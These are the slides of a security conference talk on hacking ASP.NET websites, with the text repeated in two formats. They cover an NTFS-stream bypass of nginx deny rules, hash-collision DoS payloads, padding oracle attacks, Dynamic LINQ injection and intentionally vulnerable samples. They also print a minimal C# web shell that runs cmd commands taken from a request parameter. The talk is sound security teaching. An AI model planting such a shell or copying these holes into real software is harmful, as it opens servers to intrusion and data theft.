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TO HACK AN ASP .NET WEBSITE?
HARD, BUT POSSIBLE!
Vladimir Kochetkov
Positive Technologies
A Blast From The Past: File System
DOS devices and reserved names:
NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - the colon is
optional, names can be used as part of the path
Reserved characters:
< > : "  / | ? *
Case insensitivity of names:
Filename == FileName == filename == FILENAME
Support for short names 8.3:
LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT
Ending characters:
Filename == Filename... == Filename
A Blast From The Past: File System
Named pipe and mailslots (CreateFile):
Hostpipe<name> , Hostmailslot<name>
Alternative syntax of relative paths:
C:Windowsnotepad.exe == C:notepad.exe , if Windows is a
current catalog of C:
Substitutions (FindFirstFile):
< == * , > == ? , " == .
UNC and Unicode paths:
C:WindowsSystem32
HostC$WindowsSystem32
.C:WindowsSystem32
?C:WindowsSystem32
?UNCHostC$WindowsSystem32
A Blast From The Past: File System
Meta attributes and NTFS alternative data streams:
Directory:<Name>:<Type>File:<Name>:<Type>
C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe
C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA
FileName.aspx == FileName.aspx:.jpg
Files Meta Attributes Indices Meta Attributes
$STANDARD_INFORMATION $INDEX_ROOT
$FILE_NAME $INDEX_ALLOCATION
$DATA $BITMAP
$ATTRIBUTE_LIST
$OBJECT_ID
$REPARSE_POINT
[PT-2012-06] Nginx Restrictions Bypass
Severity level: Medium (5.0)
(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Vulnerable versions: Nginx for Windows <= v1.3
Vector: Remote
The flaw enables an intruder to forward HTTP requests to certain URL addresses,
bypassing the rules set in the Location directives of the web server configuration.
By exploiting the vulnerability, a potential hacker could gain access to the
application source code and closed parts of the website, detect new vulnerabilities,
steal passwords to the database or other services, etc.
:$I30:$INDEX_ALLOCATION
were processed as a part of the catalog name.
[PT-2012-06] Nginx Restrictions Bypass
http://hostname/.svn/entries
http://hostname/.svn::$INDEX_ALLOCATION/entries
HTTP/1.1 200 OK
Server: nginx/1.2.0
HTTP/1.1 403 Forbidden
Server: nginx/1.2.0
* A stable version of nginx-1.2.0 for Windows, released 2012-04-23
…
location ~/.svn/ {
deny all;
}
…
.NET Platform Architecture
Memory Corruption
Interaction with native libraries, use of mix assemblies
MS12-025, April 2012: - arbitrary code execution is triggered
by exploitation of an integer overflow vulnerability in gdiplus.dll
which causes heap corruption when calling the constructor of the
System.Drawing.Imaging.EncoderParameter class.
Insecure managed code
unsafe void bufferOverflow(string s)
{
char* ptr = stackalloc char[10];
foreach (var c in s)
{
*ptr++ = c
}
}
Turkish I And Other Peculiarities
If two strings are compared with no regard to the current regional
settings, the result might be quite unexpected:
The English language: I & i
The Turkish language: I & ı + İ & i
<%@ Page Language="C#" Culture="Auto" %>
<%@ Import Namespace="System.Globalization" %>
<! DOCTYPE html>
…
<script runat="server">
…
if (Session["mode"].ToLower() != "admin")
…
if (String.Compare(Request["path"]), 0,
"FILE:", 0, 5, true)
…
Collision of Object Hashes
System.Object.GetHashCode() returns a 32 bit hash code of an object (takes on
values within the range from -2147483648 to 2147483647).
(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
Collision in ASP .NET (MS11-100)
Standard situation: Unusual situation:
3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F
X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&
DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&
LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR
YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&
MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=
=&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE
… over 4Mb form data …
(https://github.com/HybrisDisaster/aspHashDoS)
A Tricky Plan (Post-Mortem MS11-100)
1. Create 1000 collision strings
for each combination ‘.NET
version’/’hardware platform’
2. Send each combination as
POST request parameters
3. Measure the response time
for each request
4. ???
5. ;)
.NET Web stack
ASP.NET / MVC
ASP.NET Peculiarities
Special catalogs and files:
- App_Browser –browsers definition (*.browsers)
- App_Code – a source code of helper classes and
logics
- App_Data – data stores
- App_GlobalResources, App_LocalResources –
application resources (*.resx, *.resources)
- App_Themes – topics (*.skin, *.css, images, etc);
- App_WebReferences – links to web services
(*.wsdl, *.xsd, *.disco, *.discomap)
- Bin – compiled builds used by the application
- web.config, web.*.config – configuration files that determine settings of the
web server and application
ASP .NET Peculiarities
Standard HTTP handlers:
- WebResource.axd – access to the static resources embedded in the application
assemblies.
- ScriptResource.axd – access to JavaScripts embedded in the assemblies or stored on
the disk.
Usage:
http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>
Example:
http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP
8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-
kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1
where ‘d’ is an encrypted parameters:
Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3
8a3a9b
Padding Oracle (MS10-070)
Consequences:
– getting encryption/decryption keys:
 authentication cookies
 ViewState and Event Validation
 Arguments for WebRecource.axd and ScriptResource.axd =>
Reading arbitrary files inside the application catalog
Corrections:
 Padding error returns a generic error message
 A random number is used as IV
 The format of encrypted strings is changed for their validation
 ScriptResource.axd can handle only *.js files
ASP .NET Features
Standard HTTP handlers:
- Trace.axd request tracing (available only in the debugging mode)
Features of LFI exploitation
Response.WriteFile(<vfilename>)
- Allows including any file, except *.config, inside the application catalog
- The file is included statically without code execution
- Accepts virtual file name as an argument
Server.Execute(<vfilename>)
- Allows including any file, except for *.config, into the application catalog
- Calls a handler for the sent file, includes the result into the response
- Accepts virtual file name as an argument
File.ReadAllText(<filename>)
- Allows including any file if obtains enough privileges
- The file is included statically without code execution
- Accepts file name as an argument
Minimum C# Shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
new ProcessStartInfo(
"cmd","/c " + Request["c"]
)
{
UseShellExecute = false,
RedirectStandardOutput = true
}
).StandardOutput.ReadToEnd()
%>
ViewState
Meant to transfer data on view
element to the server.
- Is transferred in the __VIEWSTATE
parameter
- Encryption and integrity are not
ensured in many cases
- Is used by developers for session
data storage on the client, though is
not meant for this
- Violation of its integrity can trigger
exploitation of various threats from
XXS to violation of application’s
functionality.
Request and Event Validations
Request Validation is an embedded simple WAF aimed at preventing XSS. Blocks
all requests that contain:
&#
< followed by a letter, !, / and ?
Besides, it skips extraneous parameters started with с __
Event Validation is an embedded mechanism of
event data validation. It is a __EVENTVALIDATION
parameter that stores hashes of acceptable elements of of
forms, events, ViewState, etc.
Contrary to the common belief,
it is insufficient against CSRF attacks
as a standard implementation instance.
Mass Assignment
public class User
{
public int Id
{ get; set; }
public string UserName
{ get; set; }
public string Password
{ get; set; }
public bool IsAdmin
{ get; set; }
}
public class UserController : Controller
{
IUserRepository _userRepository;
public UserController(IUserRepository userRepository) {
_userRepository = userRepository;
}
public ActionResult Edit(int id) {
var user = _userRepository.GetUserById(id);
return View(user);
}
[HttpPost]
public ActionResult Edit(int id, FormCollection collection) {
try {
var user = _userRepository.GetUserById(id);
UpdateModel(user);
_userRepository.SaveUser(user);
return RedirectToAction("Index");
} catch {
return View();
}
}
}
Model: Controller:
Mass Assignment
(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
LINQ Injection
LINQ is a query language embedded into the syntax of the .NET languages.
var result = from item in itemsList
where item.field1 % 2 == 0
orderby item.field2 descending
select new { item.field2, item.field3 };
var result = itemsList
.Where(x => x.field1 % 2 == 0)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
Expression.Lambda<Predicate<int>>(
Expression.Equal(
Expression.Modulo(
parameterN,
Expression.Constant(2)
),
Expression.Constant(0)
),
parameterN);
LINQ Injection
Dynamic LINQ is one of a few libraries used to create dynamic run-
time LINQ requests.
Features:
- Definition of expressions by strings;
- Basic simple operations
- Access to members of static and
instant data types
- Type instantiation and
anonymous types construction
What if "modifier" is formed out of input
data and contains
0 OR 1 == 1 ?
var modifier = "0";
var result = itemsList
.Where("field1 % 2 == " + modifier)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
LINQ Injection
Injection’s limitations in Dynamic LINQ:
- Access to fields, properties and methods is available only for a collection type or
for accessible types specified in the ‘white list’
- All expression parts must be executed without errors; error messages do not
contain useful output
- Injection is performable only for isolated parts of requests
Injection’s possibilities in Dynamic LINQ:
- Authentication / authorization bypass
- Unauthorized access to the collection data
- Abuse of functionality (provided that the collection objects have the statefull
fields)
- Conduction of DoS attacks (DoS).
Remote Code Execution is actual in other solutions
NorthWind DEMO
public AjaxStoreResult GetCustomers(int limit, int start, string dir, string sort)
{
var query = (from c in this.DBContext.Customers
select new
{
c.CustomerID,
c.CompanyName,
c.ContactName,
c.Phone,
c.Fax,
c.Region
}).OrderBy(string.Concat(sort, " ", dir));
int total = query.ToList().Count;
query = query.Skip(start).Take(limit);
return new AjaxStoreResult(query, total);
}
NorthWind DEMO
Demo
Thank You for Your
Attention!
Questions?
vkohetkov@ptsecurity.ru
twitter: @kochetkov_v

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Hack an ASP.NET Website? Tips for Hard but Possible

  • 1. TO HACK AN ASP .NET WEBSITE? HARD, BUT POSSIBLE! Vladimir Kochetkov Positive Technologies
  • 2. A Blast From The Past: File System DOS devices and reserved names: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - the colon is optional, names can be used as part of the path Reserved characters: < > : " / | ? * Case insensitivity of names: Filename == FileName == filename == FILENAME Support for short names 8.3: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Ending characters: Filename == Filename... == Filename
  • 3. A Blast From The Past: File System Named pipe and mailslots (CreateFile): Hostpipe<name> , Hostmailslot<name> Alternative syntax of relative paths: C:Windowsnotepad.exe == C:notepad.exe , if Windows is a current catalog of C: Substitutions (FindFirstFile): < == * , > == ? , " == . UNC and Unicode paths: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  • 4. A Blast From The Past: File System Meta attributes and NTFS alternative data streams: Directory:<Name>:<Type>File:<Name>:<Type> C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg Files Meta Attributes Indices Meta Attributes $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT
  • 5. [PT-2012-06] Nginx Restrictions Bypass Severity level: Medium (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Vulnerable versions: Nginx for Windows <= v1.3 Vector: Remote The flaw enables an intruder to forward HTTP requests to certain URL addresses, bypassing the rules set in the Location directives of the web server configuration. By exploiting the vulnerability, a potential hacker could gain access to the application source code and closed parts of the website, detect new vulnerabilities, steal passwords to the database or other services, etc. :$I30:$INDEX_ALLOCATION were processed as a part of the catalog name.
  • 6. [PT-2012-06] Nginx Restrictions Bypass http://hostname/.svn/entries http://hostname/.svn::$INDEX_ALLOCATION/entries HTTP/1.1 200 OK Server: nginx/1.2.0 HTTP/1.1 403 Forbidden Server: nginx/1.2.0 * A stable version of nginx-1.2.0 for Windows, released 2012-04-23 … location ~/.svn/ { deny all; } …
  • 8. Memory Corruption Interaction with native libraries, use of mix assemblies MS12-025, April 2012: - arbitrary code execution is triggered by exploitation of an integer overflow vulnerability in gdiplus.dll which causes heap corruption when calling the constructor of the System.Drawing.Imaging.EncoderParameter class. Insecure managed code unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
  • 9. Turkish I And Other Peculiarities If two strings are compared with no regard to the current regional settings, the result might be quite unexpected: The English language: I & i The Turkish language: I & ı + İ & i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> … <script runat="server"> … if (Session["mode"].ToLower() != "admin") … if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) …
  • 10. Collision of Object Hashes System.Object.GetHashCode() returns a 32 bit hash code of an object (takes on values within the range from -2147483648 to 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  • 11. Collision in ASP .NET (MS11-100) Standard situation: Unusual situation: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE … over 4Mb form data … (https://github.com/HybrisDisaster/aspHashDoS)
  • 12. A Tricky Plan (Post-Mortem MS11-100) 1. Create 1000 collision strings for each combination ‘.NET version’/’hardware platform’ 2. Send each combination as POST request parameters 3. Measure the response time for each request 4. ??? 5. ;)
  • 15. ASP.NET Peculiarities Special catalogs and files: - App_Browser –browsers definition (*.browsers) - App_Code – a source code of helper classes and logics - App_Data – data stores - App_GlobalResources, App_LocalResources – application resources (*.resx, *.resources) - App_Themes – topics (*.skin, *.css, images, etc); - App_WebReferences – links to web services (*.wsdl, *.xsd, *.disco, *.discomap) - Bin – compiled builds used by the application - web.config, web.*.config – configuration files that determine settings of the web server and application
  • 16. ASP .NET Peculiarities Standard HTTP handlers: - WebResource.axd – access to the static resources embedded in the application assemblies. - ScriptResource.axd – access to JavaScripts embedded in the assemblies or stored on the disk. Usage: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Example: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 where ‘d’ is an encrypted parameters: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  • 17. Padding Oracle (MS10-070) Consequences: – getting encryption/decryption keys:  authentication cookies  ViewState and Event Validation  Arguments for WebRecource.axd and ScriptResource.axd => Reading arbitrary files inside the application catalog Corrections:  Padding error returns a generic error message  A random number is used as IV  The format of encrypted strings is changed for their validation  ScriptResource.axd can handle only *.js files
  • 18. ASP .NET Features Standard HTTP handlers: - Trace.axd request tracing (available only in the debugging mode)
  • 19. Features of LFI exploitation Response.WriteFile(<vfilename>) - Allows including any file, except *.config, inside the application catalog - The file is included statically without code execution - Accepts virtual file name as an argument Server.Execute(<vfilename>) - Allows including any file, except for *.config, into the application catalog - Calls a handler for the sent file, includes the result into the response - Accepts virtual file name as an argument File.ReadAllText(<filename>) - Allows including any file if obtains enough privileges - The file is included statically without code execution - Accepts file name as an argument
  • 20. Minimum C# Shell <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  • 21. ViewState Meant to transfer data on view element to the server. - Is transferred in the __VIEWSTATE parameter - Encryption and integrity are not ensured in many cases - Is used by developers for session data storage on the client, though is not meant for this - Violation of its integrity can trigger exploitation of various threats from XXS to violation of application’s functionality.
  • 22. Request and Event Validations Request Validation is an embedded simple WAF aimed at preventing XSS. Blocks all requests that contain: &# < followed by a letter, !, / and ? Besides, it skips extraneous parameters started with с __ Event Validation is an embedded mechanism of event data validation. It is a __EVENTVALIDATION parameter that stores hashes of acceptable elements of of forms, events, ViewState, etc. Contrary to the common belief, it is insufficient against CSRF attacks as a standard implementation instance.
  • 23. Mass Assignment public class User { public int Id { get; set; } public string UserName { get; set; } public string Password { get; set; } public bool IsAdmin { get; set; } } public class UserController : Controller { IUserRepository _userRepository; public UserController(IUserRepository userRepository) { _userRepository = userRepository; } public ActionResult Edit(int id) { var user = _userRepository.GetUserById(id); return View(user); } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } } Model: Controller:
  • 25. LINQ Injection LINQ is a query language embedded into the syntax of the .NET languages. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2); Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);
  • 26. LINQ Injection Dynamic LINQ is one of a few libraries used to create dynamic run- time LINQ requests. Features: - Definition of expressions by strings; - Basic simple operations - Access to members of static and instant data types - Type instantiation and anonymous types construction What if "modifier" is formed out of input data and contains 0 OR 1 == 1 ? var modifier = "0"; var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  • 27. LINQ Injection Injection’s limitations in Dynamic LINQ: - Access to fields, properties and methods is available only for a collection type or for accessible types specified in the ‘white list’ - All expression parts must be executed without errors; error messages do not contain useful output - Injection is performable only for isolated parts of requests Injection’s possibilities in Dynamic LINQ: - Authentication / authorization bypass - Unauthorized access to the collection data - Abuse of functionality (provided that the collection objects have the statefull fields) - Conduction of DoS attacks (DoS). Remote Code Execution is actual in other solutions
  • 28. NorthWind DEMO public AjaxStoreResult GetCustomers(int limit, int start, string dir, string sort) { var query = (from c in this.DBContext.Customers select new { c.CustomerID, c.CompanyName, c.ContactName, c.Phone, c.Fax, c.Region }).OrderBy(string.Concat(sort, " ", dir)); int total = query.ToList().Count; query = query.Skip(start).Take(limit); return new AjaxStoreResult(query, total); }
  • 30. Thank You for Your Attention! Questions? vkohetkov@ptsecurity.ru twitter: @kochetkov_v